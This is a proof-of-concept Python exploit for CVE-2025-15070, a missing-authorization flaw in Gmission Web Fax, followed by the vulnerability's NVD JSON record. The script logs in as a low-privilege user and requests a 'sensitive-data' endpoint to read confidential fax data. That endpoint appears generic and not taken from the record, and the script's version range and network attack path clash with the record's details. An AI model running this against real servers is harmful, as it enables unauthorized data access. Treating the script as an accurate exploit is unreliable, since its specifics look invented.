CVE-2025-15070

# CVE-2025-15070 PoC - Gmission Web Fax Sensitive Information Exposure # Affected Version: 3.0 < version < 3.0.1 # Attack Vector: Local (AV:L), Low Privilege Required (PR:L) import requests import json TARGET_URL = "http://target-server:8080" LOGIN_ENDPOINT = f"{TARGET_URL}/api/auth/login" SENSITIVE_ENDPOINT = f"{TARGET_URL}/api/fax/sensitive-data" def exploit_cve_2025_15070(): """ This PoC demonstrates the unauthorized access to sensitive information in Gmission Web Fax versions 3.0 to < 3.0.1 """ # Step 1: Authenticate with low-privilege account credentials = { "username": "low_privilege_user", "password": "password123" } session = requests.Session() login_response = session.post(LOGIN_ENDPOINT, json=credentials) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Access sensitive information without proper authorization # The vulnerable endpoint does not properly validate authorization sensitive_response = session.get(SENSITIVE_ENDPOINT) if sensitive_response.status_code == 200: print("[+] Successfully accessed sensitive information!") print(f"[+] Response: {sensitive_response.text}") return True else: print(f"[-] Access denied: {sensitive_response.status_code}") return False if __name__ == "__main__": print("CVE-2025-15070 PoC - Gmission Web Fax Information Disclosure") print("=" * 60) exploit_cve_2025_15070()

{"cve": {"id": "CVE-2025-15070", "sourceIdentifier": "09832df1-09c1-45b4-8a85-16c601d30feb", "published": "2025-12-29T06:15:51.947", "lastModified": "2026-05-20T02:16:35.200", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive Information to an Unauthorized Actor, Missing Authorization vulnerability in Gmission Web Fax allows Authentication Abuse.\n\nThis issue affects Web Fax: from 3.0 before 3.0.1"}], "metrics": {"cvssMetricV40": [{"source": "09832df1-09c1-45b4-8a85-16c601d30feb", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "09832df1-09c1-45b4-8a85-16c601d30feb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "09832df1-09c1-45b4-8a85-16c601d30feb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gmission:web_fax:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0", "versionEndExcluding": "4.0", "matchCriteriaId": "F9565554-68AD-41A7-91BE-29B70C13B9D9"}]}]}], "references": [{"url": "https://www.gmission.co.kr/fax1", "source": "09832df1-09c1-45b4-8a85-16c601d30feb", "tags": ["Product"]}]}}